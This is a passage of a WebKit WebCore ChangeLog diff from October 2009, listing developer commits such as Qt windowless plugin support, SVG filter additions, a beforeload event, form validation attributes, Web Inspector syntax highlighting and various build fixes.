+        (WebCore::WorkerThreadStartupData::WorkerThreadStartupData):
+
+2009-10-06  Girish Ramakrishnan  <girish@forwardbias.in>
+
+        Reviewed by Simon Hausmann.
+
+        [Qt] Windowless plugins: Use X Pixmap instead of QPixmap.
+
+        This has the following advantages:
+        1. Allows more sharing of code between gtk and Qt ports in the future
+        2. QPixmap creates 24-bit by default. We have to later 'upgrade' it to 32-bit.
+        3. QPixmap may sometime change depth behind our back! This will require us to
+        update the plugin about the new visual and colormap.
+        4. We cannot ensure that QPixmap is backed by a X Drawable. For example, with
+        -graphicssystem raster, QPixmap uses the raster (image) backend.
+
+        https://bugs.webkit.org/show_bug.cgi?id=20081
+
+        * plugins/PluginView.cpp:
+        (WebCore::PluginView::PluginView):
+        * plugins/PluginView.h:
+        * plugins/qt/PluginViewQt.cpp:
+        (WebCore::PluginView::updatePluginWidget):
+        (WebCore::PluginView::paint):
+        (WebCore::PluginView::platformDestroy):
+
+2009-10-06  Girish Ramakrishnan  <girish@forwardbias.in>
+
+        Reviewed by Simon Hausmann.
+
+        [Qt] Add support for windowless NPAPI plugins
+
+        https://bugs.webkit.org/show_bug.cgi?id=20081
+
+        * plugins/PluginView.cpp:
+        (WebCore::PluginView::setFrameRect):
+        (WebCore::PluginView::handleEvent):
+        (WebCore::PluginView::PluginView):
+        * plugins/PluginView.h:
+        * plugins/qt/PluginViewQt.cpp:
+        (WebCore::PluginView::updatePluginWidget):
+        (WebCore::PluginView::paint):
+        (WebCore::PluginView::dispatchNPEvent):
+        (WebCore::setSharedXEventFields):
+        (WebCore::PluginView::initXEvent):
+        (WebCore::setXKeyEventSpecificFields):
+        (WebCore::PluginView::handleKeyboardEvent):
+        (WebCore::inputEventState):
+        (WebCore::setXButtonEventSpecificFields):
+        (WebCore::setXMotionEventSpecificFields):
+        (WebCore::setXCrossingEventSpecificFields):
+        (WebCore::PluginView::handleMouseEvent):
+        (WebCore::PluginView::handleFocusInEvent):
+        (WebCore::PluginView::handleFocusOutEvent):
+        (WebCore::PluginView::setNPWindowRect):
+        (WebCore::PluginView::setNPWindowIfNeeded):
+        (WebCore::PluginView::getValueStatic):
+        (WebCore::PluginView::invalidateRect):
+        (WebCore::PluginView::invalidateRegion):
+        (WebCore::PluginView::forceRedraw):
+        (WebCore::getPluginDisplay):
+        (WebCore::PluginView::platformStart):
+
+2009-10-05  Dirk Schulze  <krit@webkit.org>
+
+        Reviewed by Nikolas Zimmermann.
+
+        SVG Filters do not support source images besides "sourceGraphic"
+        [https://bugs.webkit.org/show_bug.cgi?id=6022]
+
+        Add support for SourceAlpha to SVG filters.
+
+        Test: svg/filters/sourceAlpha.svg
+
+        * platform/graphics/filters/SourceAlpha.cpp:
+        (WebCore::SourceAlpha::calculateEffectRect):
+        (WebCore::SourceAlpha::apply):
+        * platform/graphics/filters/SourceAlpha.h:
+
+2009-10-05  John Abd-El-Malek  <jam@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        Fix reliablity bot crash in DateExtension.
+        https://bugs.webkit.org/show_bug.cgi?id=30033
+
+        There were a few problems using the weak persistent pointers because no one else had a
+        handle to them.  The new approach stores them as a hidden value on the Date constructor.
+
+        * bindings/v8/DateExtension.cpp:
+        (WebCore::DateExtension::setAllowSleep):
+        (WebCore::DateExtension::GetNativeFunction):
+        (WebCore::DateExtension::Setup):
+        (WebCore::DateExtension::OnSleepDetected):
+        * bindings/v8/DateExtension.h:
+        * bindings/v8/V8HiddenPropertyName.cpp:
+        (WebCore::V8HiddenPropertyName::sleepFunction):
+        * bindings/v8/V8HiddenPropertyName.h:
+
+2009-10-05  Stephanie Lewis  <slewis@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        Crash when trying to load a null stylesheet for a site specific hack. 
+        https://bugs.webkit.org/show_bug.cgi?id=30105
+
+        Created a testcase and tested in browser.  DRT doesn't test
+        site specific hacks.
+
+        * html/HTMLLinkElement.cpp:
+        (WebCore::HTMLLinkElement::setCSSStyleSheet):
+
+2009-10-05  James Robinson  <jamesr@google.com>
+
+        Reviewed by Darin Adler.
+
+        Fix forward declaration (struct vs class mismatch)
+
+        https://bugs.webkit.org/show_bug.cgi?id=30094
+
+        * loader/RedirectScheduler.h:
+
+2009-10-05  Julie Parent  <jparent@chromium.org>
+
+        Unreviewed, last Chromium build fix corresponding to revision 49113.
+        Add include for BeforeLoadEvent to DOMObjectsInclude.h.
+
+        * bindings/v8/DOMObjectsInclude.h:
+
+2009-10-05  Simon Fraser  <simon.fraser@apple.com>
+
+        Fix Windows build.
+
+        * html/HTMLMediaElement.cpp:
+
+2009-10-05  Simon Fraser  <simon.fraser@apple.com>
+
+        Fix the build: MediaControllerThemeQT was renamed to MediaControllerThemeQuickTime.
+
+        * rendering/RenderThemeMac.mm:
+        (WebCore::RenderThemeMac::shouldRenderMediaControlPart):
+
+2009-10-05  Pierre d'Herbemont  <pdherbemont@webkit.org>
+
+        Reviewed by Simon Fraser
+        
+        Support fullscreen in MediaPlayer (Mac)
+        https://bugs.webkit.org/show_bug.cgi?id=26742
+
+        Add a fullscreen button to the <video> controller if the media engine,
+        and the theme have support for fullscreen, and can show appropriate controls.
+        Clicking the button calls through the ChromeClient to the WebVideoFullscreenController
+        in WebKit to do a nice animation to fullscreen, with a custom controller.
+
+        * DerivedSources.make:
+        * WebCore.Video.exp: Added.
+        New export file for when VIDEO is enabled.
+        
+        * WebCore.base.exp: Export WebCore::HTMLNames::videoTag
+        * WebCore.xcodeproj/project.pbxproj: New files
+        
+        * html/HTMLMediaElement.h:
+        * html/HTMLMediaElement.cpp:
+        (WebCore::HTMLMediaElement::HTMLMediaElement):
+        (WebCore::HTMLMediaElement::willRemove):
+        (WebCore::HTMLMediaElement::screenRect):
+        (WebCore::HTMLMediaElement::enterFullscreen):
+        (WebCore::HTMLMediaElement::exitFullscreen):
+        (WebCore::HTMLMediaElement::platformMedia):
+        Add fullscreen logic. platformMedia returns a pointer to platform-specific playback data
+        used for fullscreen.
+        
+        * html/HTMLVideoElement.h:
+        * html/HTMLVideoElement.cpp:
+        (WebCore::HTMLVideoElement::supportsFullscreen): Check with both the player and the ChromeClient
+        to see if it's possile to enter fullscreen for this element.
+        
+        * page/ChromeClient.h:
+        (WebCore::ChromeClient::supportsFullscreenForNode):
+        (WebCore::ChromeClient::enterFullscreenForNode):
+        (WebCore::ChromeClient::exitFullscreenForNode):
+        New methods
+        
+        * platform/graphics/MediaPlayer.h:
+        * platform/graphics/MediaPlayer.cpp:
+        (WebCore::NullMediaPlayerPrivate::platformMedia):
+        (WebCore::MediaPlayer::platformMedia):
+        * platform/graphics/MediaPlayerPrivate.h:
+        (WebCore::MediaPlayerPrivateInterface::platformMedia):
+        * platform/graphics/mac/MediaPlayerPrivateQTKit.h:
+        * platform/graphics/mac/MediaPlayerPrivateQTKit.mm:
+        (WebCore::MediaPlayerPrivate::platformMedia):
+        (WebCore::MediaPlayerPrivate::supportsFullscreen):
+        New methods to return platform-specific playback data for fullscreen.
+        
+        * rendering/MediaControlElements.cpp:
+        (WebCore::MediaControlFullscreenButtonElement::defaultEventHandler):
+        Hook up the fullscreen button.
+        * rendering/RenderThemeMac.h:
+        * rendering/RenderThemeMac.mm:
+        (WebCore::RenderThemeMac::shouldRenderMediaControlPart):
+        Allow the RenderThemeMac to make a decision about the availability of fullscreen based
+        on the QuickTime version, since this affects what controls are availabl.e
+
+2009-10-05  Kevin Decker  <kdecker@apple.com>
+
+        Export a few more methods from Settings.h
+        
+        Rubberstamped by Jon Honeycutt.
+        
+        * WebCore.base.exp:
+
+2009-10-05  Dmitry Titov  <dimich@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        1-char fix for obviously reverse condition.
+        https://bugs.webkit.org/show_bug.cgi?id=30100
+        No test since the only difference is a timing of GC.
+
+        * bindings/js/ScriptCachedFrameData.cpp:
+        (WebCore::ScriptCachedFrameData::clear): Revert condition. Almost a typo.
+
+2009-09-30  Kenneth Russell  <kbr@google.com>
+
+        Reviewed by Darin Fisher.
+
+        Update platform-specific #ifdefs in GraphicsContext3D.h for the
+        Chromium port.
+        https://bugs.webkit.org/show_bug.cgi?id=29936
+
+        * platform/graphics/GraphicsContext3D.h:
+        Changed #if PLATFORM(SKIA) to #if PLATFORM(CHROMIUM).
+
+2009-10-05  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Darin Adler.
+
+        REGRESSION (r47440): Inserting text in the middle of content in a scrolled textfield results in painting bugs
+        <rdar://problem/7269108>
+        https://bugs.webkit.org/show_bug.cgi?id=29982
+
+        Test: fast/repaint/line-in-scrolled-clipped-block.html
+
+        * rendering/RenderBlock.cpp:
+        (WebCore::RenderBlock::layoutBlock): Use the unclipped overflow rect
+        (including layout overflow) for the repaint rect calculation.
+
+2009-10-05  Drew Wilson  <atwilson@google.com>
+
+        Reviewed by David Levin.
+
+        Chromium wants to turn off SharedWorkers at runtime
+        https://bugs.webkit.org/show_bug.cgi?id=29757
+
+        * bindings/js/JSDOMWindowCustom.cpp:
+        (WebCore::JSDOMWindow::sharedWorker):
+        Now returns jsUndefined if isAvailable() returns false, to allow SharedWorkers to be disabled at runtime.
+        * workers/DefaultSharedWorkerRepository.cpp:
+        (WebCore::SharedWorkerRepository::isAvailable):
+        Made SharedWorkers available by default.
+        * workers/SharedWorkerRepository.h:
+        Added definition for SharedWorkerRepository::isAvailable().
+
+2009-10-05  Hironori Bono  <hbono@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        A super quick fix for Bug 28710.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28710
+
+        This change just resets the style sent to addStyleMarkup() to avoid an assertion error
+        and creates an empty style when computedStyleAtPosition is 0 to avoid a crash.
+        (This change is nothing but a better-than-crash change.)
+
+        Tests: editing/selection/select-crash-001.html
+               editing/selection/select-crash-002.html
+
+        * editing/ApplyStyleCommand.cpp:
+        (WebCore::editingStyleAtPosition): Resets the style sent to addStyleMarkup() if it is not valid.
+        * editing/markup.cpp:
+        (WebCore::createMarkup): Creates an empty style if computedStyleAtPosition is 0.
+
+2009-10-05  Sam Weinig  <sam@webkit.org>
+
+        Reviewed by Mark Rowe.
+
+        Silence duplicate errors logged for missing getComputedStyle
+        implementations. Improves the error message as well.
+
+        * css/CSSComputedStyleDeclaration.cpp:
+        (WebCore::logUnimplementedPropertyID):
+        (WebCore::CSSComputedStyleDeclaration::getPropertyCSSValue):
+
+2009-10-05  Julie Parent  <jparent@chromium.org>
+
+        Unreviewed, Chromium build fix #3.  Add V8BeforeLoadEvent.[cc|h] to derived sources.
+
+        * bindings/v8/DerivedSourcesAllInOne.cpp:
+        * bindings/v8/V8Index.cpp:
+
+2009-10-05  Mark Rowe  <mrowe@apple.com>
+
+        Try and fix the GTK build.
+
+        * GNUmakefile.am:
+
+2009-10-05  Julie Parent  <jparent@chromium.org>
+
+        Unreviewed, Chromium build fix #2.  Add new BEFORELOADEVENT to V8ClassIndex.
+
+        * bindings/v8/V8Index.h:
+
+2009-10-05  Julie Parent  <jparent@chromium.org>
+
+        Unreviewed, Chromium build fix.  Missing "," after entry for BeforeLoadEvent.idl. 
+
+        * WebCore.gypi:
+
+2009-10-05  Dave Hyatt  <hyatt@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        Add a beforeload event that will be fired before subresources load. (It isn't fired yet.)  The event
+        has one field, the URL that is going to be requested.  Setting preventDefault will stop the load
+        from occurring.
+
+        * DerivedSources.cpp:
+        * DerivedSources.make:
+        * WebCore.gypi:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+        * dom/BeforeLoadEvent.h: Added.
+        (WebCore::BeforeLoadEvent::create):
+        (WebCore::BeforeLoadEvent::initBeforeLoadEvent):
+        (WebCore::BeforeLoadEvent::url):
+        (WebCore::BeforeLoadEvent::BeforeLoadEvent):
+        * dom/BeforeLoadEvent.idl: Added.
+        * dom/EventNames.h:
+        * page/DOMWindow.idl:
+
+2009-10-05  Priit Laes  <plaes@plaes.org>
+
+        Reviewed by Gustavo Noronha.
+
+        Add Gentoo-specific paths for searching browser plugins.
+        https://bugs.webkit.org/show_bug.cgi?id=30088
+
+        * plugins/PluginDatabase.cpp:
+        (WebCore::PluginDatabase::defaultPluginDirectories):
+
+2009-10-02  Chris Marrin  <cmarrin@apple.com>
+
+        Reviewed by Adele Peterson.
+
+        Add functionality to pause/throttle CSS transitions/animations in a WebView
+        https://bugs.webkit.org/show_bug.cgi?id=29942
+
+        Exporting call from AnimationController
+
+        * WebCore.base.exp:
+
+2009-10-05  Kevin Decker  <kdecker@apple.com>
+
+        Rubberstamped by Anders Carlsson.
+        
+        * WebCore.base.exp: Update export of HaltablePlugin/PluginHalterClient.
+        * WebCore.xcodeproj/project.pbxproj: Likewise.
+
+2009-10-05  Eric Seidel  <eric@webkit.org>
+
+        No review, rolling out r49104.
+        http://trac.webkit.org/changeset/49104
+
+        * html/HTMLInputElement.cpp:
+        * html/HTMLInputElement.h:
+        * html/HTMLInputElement.idl:
+        * html/ValidityState.cpp:
+        * html/ValidityState.h:
+        (WebCore::ValidityState::rangeUnderflow):
+        (WebCore::ValidityState::rangeOverflow):
+        * rendering/RenderSlider.cpp:
+        (WebCore::SliderRange::SliderRange):
+        (WebCore::SliderRange::valueFromElement):
+
+2009-10-05  Kent Tamura  <tkent@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Update style immediately when validation-related values are updated.
+        https://bugs.webkit.org/show_bug.cgi?id=28868
+
+        In order to apply :valid, :invalid, :optional or :required lively,
+          - call setNeedsStyleRecalc() when properties which can change
+            willValidate state are updated, and
+             (Parent form element, name, disabled, readonly)
+          - call updateValidity() when properties which can change validity
+            state are updated. (value, pattern, required)
+
+        Tests: fast/forms/input-live-pseudo-selectors.html
+               fast/forms/textarea-live-pseudo-selectors.html
+
+        * html/HTMLFormControlElement.cpp:
+        (WebCore::HTMLFormControlElement::HTMLFormControlElement):
+        (WebCore::HTMLFormControlElement::parseMappedAttribute):
+        (WebCore::HTMLFormControlElement::required):
+        (WebCore::HTMLFormControlElement::updateValidity):
+        * html/HTMLFormControlElement.h:
+        * html/HTMLInputElement.cpp:
+        (WebCore::HTMLInputElement::setInputType):
+        (WebCore::HTMLInputElement::parseMappedAttribute):
+        (WebCore::HTMLInputElement::setValue):
+        (WebCore::HTMLInputElement::setValueFromRenderer):
+        (WebCore::HTMLInputElement::setFileListFromRenderer):
+        * html/HTMLTextAreaElement.cpp:
+        (WebCore::HTMLTextAreaElement::setValue):
+        * rendering/RenderTextControlMultiLine.cpp:
+        (WebCore::RenderTextControlMultiLine::subtreeHasChanged):
+
+2009-10-05  Kent Tamura  <tkent@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        Implement min/max attributes, ValidityState.rangeUnderflow and
+        ValidityState.rangeOverflow for <input type=number> and <input type=range>
+        https://bugs.webkit.org/show_bug.cgi?id=29069
+
+        Tests: fast/forms/ValidityState-rangeOverflow-number.html
+               fast/forms/ValidityState-rangeOverflow-range.html
+               fast/forms/ValidityState-rangeUnderflow-number.html
+               fast/forms/ValidityState-rangeUnderflow-range.html
+               fast/forms/input-minmax.html
+
+        * html/HTMLInputElement.cpp:
+        (WebCore::HTMLInputElement::rangeUnderflow):
+        (WebCore::HTMLInputElement::rangeOverflow):
+        (WebCore::HTMLInputElement::rangeMinimum):
+        (WebCore::HTMLInputElement::rangeMaximum):
+        * html/HTMLInputElement.h:
+        * html/HTMLInputElement.idl:
+        * html/ValidityState.cpp:
+        (WebCore::ValidityState::rangeUnderflow):
+        (WebCore::ValidityState::rangeOverflow):
+        * html/ValidityState.h:
+        * rendering/RenderSlider.cpp:
+        (WebCore::SliderRange::SliderRange):
+        (WebCore::SliderRange::valueFromElement):
+
+2009-10-05  Kent Tamura  <tkent@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Introduces
+         - new CSS pseudo selector: "-webkit-input-list-button"
+         - new CSS apperance type: "list-button"
+         - new ControlPart value: "ListButtonPart"
+        for the UI of the list attribute of the input element, and adds
+        implementation to draw ListButtonPart on Mac.
+        The code is guarded by ENABLE(DATALIST).
+
+        https://bugs.webkit.org/show_bug.cgi?id=27794
+
+        Test: platform/mac/fast/forms/input-list-button-size.html
+
+        * css/CSSPrimitiveValueMappings.h:
+        (WebCore::CSSPrimitiveValue::CSSPrimitiveValue):
+        * css/CSSSelector.cpp:
+        (WebCore::CSSSelector::extractPseudoType):
+        * css/CSSSelector.h:
+        (WebCore::CSSSelector::):
+        * css/CSSStyleSelector.cpp:
+        (WebCore::CSSStyleSelector::SelectorChecker::checkOneSelector):
+        * css/CSSValueKeywords.in:
+        * css/html.css:
+        * html/HTMLInputElement.cpp:
+        * platform/ThemeTypes.h:
+        (WebCore::):
+        * platform/mac/ThemeMac.mm:
+        (WebCore::listButtonSizes):
+        (WebCore::button):
+        (WebCore::paintButton):
+        (WebCore::ThemeMac::controlSize):
+        (WebCore::ThemeMac::minimumControlSize):
+        (WebCore::ThemeMac::controlBorder):
+        (WebCore::ThemeMac::paint):
+        * rendering/RenderTheme.cpp:
+        (WebCore::RenderTheme::adjustStyle):
+        (WebCore::RenderTheme::paint):
+        (WebCore::RenderTheme::paintBorderOnly):
+        (WebCore::RenderTheme::paintDecorations):
+        * rendering/RenderThemeMac.mm:
+        (WebCore::RenderThemeMac::adjustRepaintRect):
+        * rendering/style/RenderStyleConstants.h:
+        (WebCore::):
+
+2009-10-05  Brian Weinstein  <bweinstein@apple.com>
+
+        Reviewed by Timothy Hatcher.
+
+        Fixes <https://bugs.webkit.org/show_bug.cgi?id=30065>
+        nodeTitleInfo should be placed in ElementsTreeOutline.
+        
+        Move nodeTitleInfo into ElementsTreeOutline.js from utilities.js.
+
+        * inspector/front-end/ElementsTreeOutline.js:
+        (WebInspector.ElementsTreeElement):
+        (WebInspector.ElementsTreeElement.prototype._updateTitle):
+        (WebInspector.ElementsTreeElement.prototype._nodeTitleInfo):
+        * inspector/front-end/utilities.js:
+
+2009-10-02  Yael Aharon  <yael.aharon@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        [Qt] Inform the application when a new request is created
+        https://bugs.webkit.org/show_bug.cgi?id=29975
+
+        Emit a signal each time a request is created, with the request and the frame
+        that created it.
+
+        * platform/network/qt/QNetworkReplyHandler.cpp:
+        (WebCore::QNetworkReplyHandler::sendResponseIfNeeded):
+        (WebCore::QNetworkReplyHandler::start):
+
+2009-10-05  Ben Murdoch  <benm@google.com>
+
+        Reviewed by Darin Adler.
+
+        Add an ASSERT in updateGuidVersionMap.
+        https://bugs.webkit.org/show_bug.cgi?id=30077
+
+        * storage/Database.cpp:
+        (WebCore::updateGuidVersionMap): ASSERT that the guidMutex() is locked.
+
+2009-10-05  Nate Chapin  <japhet@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Allow V8 to throw an exception in _NPN_SetException without worrying about context
+        if we don't have enough information to find the correct context.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30026
+
+        Part of the fix for Chromium's failure of LayouTests/plugins/netscape-throw-exception.html.
+
+        * bindings/v8/NPV8Object.cpp: 
+        (_NPN_SetException): Don't suppress the exception if we can't find the relevant context.
+
+2009-10-05  Mikhail Naganov  <mnaganov@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Place "Close" button in docked mode on the same side as the window "Close" button in detached mode.
+
+        https://bugs.webkit.org/show_bug.cgi?id=29961
+
+        * inspector/front-end/inspector.css:
+        * inspector/front-end/inspector.html:
+        * inspector/front-end/inspector.js:
+        (WebInspector.loaded):
+
+2009-10-05  J-P Nurmi  <jpnurmi@gmail.com>
+
+        Reviewed by Simon Hausmann.
+
+        [Qt] Added pure virtual QWebPageClient::pluginParent()
+
+        https://bugs.webkit.org/show_bug.cgi?id=29710
+
+        * platform/qt/QWebPageClient.h:
+
+2009-10-05  Jakub Wieczorek  <faw217@gmail.com>
+
+        Reviewed by Tor Arne Vestbø.
+
+        [Qt] windowsKeyCodeForKeyEvent() returns a wrong value for the F10 key.
+        https://bugs.webkit.org/show_bug.cgi?id=30042
+
+        * platform/qt/PlatformKeyboardEventQt.cpp:
+        (WebCore::windowsKeyCodeForKeyEvent):
+
+2009-10-05  Fumitoshi Ukai  <ukai@chromium.org>
+
+        Unreviewed build fix for ENABLE(WEB_SOCKETS) and v8.
+
+        V8ObjectEventListener.h has been removed at r48978
+
+        * bindings/v8/custom/V8WebSocketCustom.cpp:
+
+2009-10-04  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector console stops working while JS in IFRAME is paused.
+
+        https://bugs.webkit.org/show_bug.cgi?id=29958
+
+        * inspector/front-end/InjectedScript.js:
+        (InjectedScript._evaluateOn):
+        (InjectedScript.addInspectedNode):
+        (InjectedScript._ensureCommandLineAPIInstalled):
+
+2009-10-04  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Introduce inspected object groups for console
+        and watch evaluation results so that they could be released
+        explicitly.
+
+        https://bugs.webkit.org/show_bug.cgi?id=29891
+
+        * bindings/js/JSInspectorBackendCustom.cpp:
+        (WebCore::JSInspectorBackend::wrapObject):
+        * bindings/v8/custom/V8InspectorBackendCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * inspector/InspectorBackend.cpp:
+        (WebCore::InspectorBackend::wrapObject):
+        (WebCore::InspectorBackend::releaseWrapperObjectGroup):
+        * inspector/InspectorBackend.h:
+        * inspector/InspectorBackend.idl:
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::clearConsoleMessages):
+        (WebCore::InspectorController::resetScriptObjects):
+        (WebCore::InspectorController::wrapObject):
+        (WebCore::InspectorController::unwrapObject):
+        (WebCore::InspectorController::releaseWrapperObjectGroup):
+        * inspector/InspectorController.h:
+        * inspector/InspectorFrontend.cpp:
+        (WebCore::InspectorFrontend::addMessageToConsole):
+        * inspector/front-end/ConsoleView.js:
+        (WebInspector.ConsoleView.prototype.evalInInspectedWindow):
+        (WebInspector.ConsoleView.prototype.doEvalInWindow):
+        (WebInspector.ConsoleView.prototype._enterKeyPressed):
+        * inspector/front-end/InjectedScript.js:
+        (InjectedScript.evaluate):
+        (InjectedScript._evaluateAndWrap):
+        (InjectedScript.evaluateInCallFrame):
+        * inspector/front-end/ScriptsPanel.js:
+        (WebInspector.ScriptsPanel.prototype.evaluateInSelectedCallFrame):
+        (WebInspector.ScriptsPanel.prototype.doEvalInCallFrame):
+        * inspector/front-end/WatchExpressionsSidebarPane.js:
+        (WebInspector.WatchExpressionsSidebarPane):
+        (WebInspector.WatchExpressionsSection.prototype.update):
+
+2009-10-02  Tor Arne Vestbø  <tor.arne.vestbo@nokia.com>
+
+        Reviewed by Eric Carlson.
+
+        Move mediaControls extras for the Qt port into WebCore/css like other ports
+
+        https://bugs.webkit.org/show_bug.cgi?id=30013
+
+        * WebCore.pro:
+        * WebCore.qrc:
+        * css/mediaControlsQt.css: Renamed from WebCore/css/qt/mediaControls-extras.css.
+        * platform/qt/RenderThemeQt.cpp:
+        (WebCore::RenderThemeQt::extraMediaControlsStyleSheet):
+
+2009-10-02  Tor Arne Vestbø  <tor.arne.vestbo@nokia.com>
+
+        Reviewed by Eric Carlson.
+
+        Rename WebCore/css/mediaControlsQT.css and MediaControllerThemeQT
+
+        https://bugs.webkit.org/show_bug.cgi?id=30013
+
+        The QT suffix has been expanded to QuickTime, to not cause confusion
+        and name-crashes with similar files in the Qt port.
+
+        * DerivedSources.make:
+        * WebCore.xcodeproj/project.pbxproj:
+        * css/mediaControlsQuickTime.css: Renamed from WebCore/css/mediaControlsQT.css.
+        * rendering/RenderThemeMac.mm:
+        (WebCore::):
+        (WebCore::mediaControllerTheme):
+        (WebCore::RenderThemeMac::adjustSliderThumbSize):
+        (WebCore::getUnzoomedRectAndAdjustCurrentContext):
+        (WebCore::RenderThemeMac::extraMediaControlsStyleSheet):
+
+2009-10-04  Brian Weinstein  <bweinstein@apple.com>
+
+        Reviewed by Timothy Hatcher.
+        
+        Fixes <https://bugs.webkit.org/show_bug.cgi?id=30064>
+        Syntax Highlighting CSS shouldn't be duplicated.
+
+        Refactor syntax highlighting CSS into a new file, add it to the
+        projects, and have SourceFrame.js and inspector.html include the
+        new CSS file.
+
+        * WebCore.gypi:
+        * WebCore.vcproj/WebCore.vcproj:
+        * inspector/front-end/SourceFrame.js:
+        (WebInspector.SourceFrame.prototype._loaded):
+        * inspector/front-end/inspector.css:
+        * inspector/front-end/inspector.html:
+        * inspector/front-end/inspectorSyntaxHighlight.css: Added.
+        * inspector/front-end/WebKit.qrc:
+
+2009-10-04  Brian Weinstein  <bweinstein@apple.com>
+
+        Reviewed by Timothy Hatcher.
+        
+        Fixes <https://bugs.webkit.org/show_bug.cgi?id=30062>
+        Inspector should syntax highlight JS/CSS in elements view.
+
+        Add syntax highlighting of CSS and JavaScript tags to the elements panel.
+        Copied CSS rules from SourceFrame.js to inspector.css, and have the text nodes
+        in utilities.js call the CSS or JS Syntax highlighters if their parent is a script
+        or style tag.
+
+        * inspector/front-end/inspector.css:
+        * inspector/front-end/utilities.js:
+
+2009-10-04  Fumitoshi Ukai  <ukai@chromium.org>
+
+        Reviewed by Eric Seidel
+
+        Enable Web Sockets in chromium build.
+        https://bugs.webkit.org/show_bug.cgi?id=29917
+
+        * WebCore.gyp/WebCore.gyp:
+
+2009-10-04  Xan Lopez  <xlopez@igalia.com>
+
+        Reviewed by Gustova Noronha.
+
+        [GTK] performs a POST when refreshing a view that was obtained with a GET
+        https://bugs.webkit.org/show_bug.cgi?id=29761
+
+        Update the HTTP method in the request stored by willSendRequest
+        after a redirect, since it could have changed.
+
+        Test: http/tests/navigation/postredirect-reload.html
+
+        * platform/network/soup/ResourceHandleSoup.cpp:
+        (WebCore::restartedCallback):
+
+2009-10-04  Xan Lopez  <xlopez@igalia.com>
+
+        Revert previous patch, as the newly added test breaks other tests.
+
+        * platform/network/soup/ResourceHandleSoup.cpp:
+        (WebCore::restartedCallback):
+
+2009-10-04  Xan Lopez  <xlopez@igalia.com>
+
+        Reviewed by Gustova Noronha.
+
+        [GTK] performs a POST when refreshing a view that was obtained with a GET
+        https://bugs.webkit.org/show_bug.cgi?id=29761
+
+        Update the HTTP method in the request stored by willSendRequest
+        after a redirect, since it could have changed.
+
+        Test: http/tests/navigation/postredirect-reload.html
+
+        * platform/network/soup/ResourceHandleSoup.cpp:
+        (WebCore::restartedCallback):
+
+2009-10-04  Vitaly Repeshko  <vitalyr@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        [V8] Fixed Function leak in V8LazyEventListener.
+        (Should fix the remaning leak in
+        https://bugs.webkit.org/show_bug.cgi?id=29093).
+        V8LazyEventListeners used to create FunctionTemplates for each
+        wrapped listener which in turn created Functions that were cached
+        forever in V8 Context. Now there is at most one such Function per
+        Context.
+        https://bugs.webkit.org/show_bug.cgi?id=30060
+
+        Added new hidden property name to store toString result:
+        * bindings/v8/V8HiddenPropertyName.cpp:
+        * bindings/v8/V8HiddenPropertyName.h:
+
+        Switched to static FunctionTemplate:
+        * bindings/v8/V8LazyEventListener.cpp:
+        (WebCore::V8LazyEventListenerToString):
+        (WebCore::V8LazyEventListener::prepareListenerObject):
+
+2009-10-03  Joseph Pecoraro  <joepeck@webkit.org>
+
+        Reviewed by Timothy Hatcher.
+
+        CSS Source View Should be Syntax Highlighted
+        https://bugs.webkit.org/show_bug.cgi?id=14359
+
+          Support for WebKit's CSS Variables @variables and var()
+
+        * inspector/front-end/SourceFrame.js:
+        (WebInspector.CSSSourceSyntaxHighligher):
+
+2009-10-03  Joseph Pecoraro  <joepeck@webkit.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Inspector should remember preferences for docked/undocked etc
+        https://bugs.webkit.org/show_bug.cgi?id=29089
+
+        * inspector/front-end/ResourcesPanel.js:
+        (WebInspector.ResourcesPanel.prototype._toggleLargerResources): toggle the preference
+        * inspector/front-end/inspector.js:
+        (WebInspector._loadPreferences): factored out loading preferences
+        (WebInspector.loaded):
+
+2009-10-03  Joseph Pecoraro  <joepeck@webkit.org>
+
+        Reviewed by Timothy Hatcher.
+
+        CSS Source View Should be Syntax Highlighted
+        https://bugs.webkit.org/show_bug.cgi?id=14359
+
+          Trigger the Syntax Highlighter for CSS files.
+
+        * inspector/front-end/SourceFrame.js:
+        (WebInspector.SourceFrame.prototype.syntaxHighlightJavascript):
+        (WebInspector.SourceFrame.prototype.syntaxHighlightCSS):
+        * inspector/front-end/SourceView.js:
+        (WebInspector.SourceView.prototype._contentLoaded):
+
+          Factored out the Syntax Highlighting procedure into a "Class"
+          Added CSSSourceSyntaxHighlighter and JavaScriptSourceSyntaxHighlighter
+
+        (WebInspector.SourceSyntaxHighligher):
+        (WebInspector.SourceSyntaxHighligher.prototype.createSpan):
+        (WebInspector.SourceSyntaxHighligher.prototype.process.processChunk):
+        (WebInspector.SourceSyntaxHighligher.prototype.process):
+        (WebInspector.CSSSourceSyntaxHighligher): the CSS Highlighter
+        (WebInspector.JavaScriptSourceSyntaxHighligher): the JS Highlighter
+
+2009-10-03  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Sam Weinig.
+
+        Factor back-forward list methods out of FrameLoader
+        https://bugs.webkit.org/show_bug.cgi?id=30037
+
+        This change moves these back-forward related methods from FrameLoader
+        to Page.  It's possible we should move these methods into some kind of
+        "page controller" object, but we can figure that out in a future patch.
+
+        * loader/FrameLoader.cpp:
+        * loader/FrameLoader.h:
+        * loader/RedirectScheduler.cpp:
+        (WebCore::RedirectScheduler::timerFired):
+        * page/ContextMenuController.cpp:
+        (WebCore::ContextMenuController::contextMenuItemSelected):
+        * page/DOMWindow.cpp:
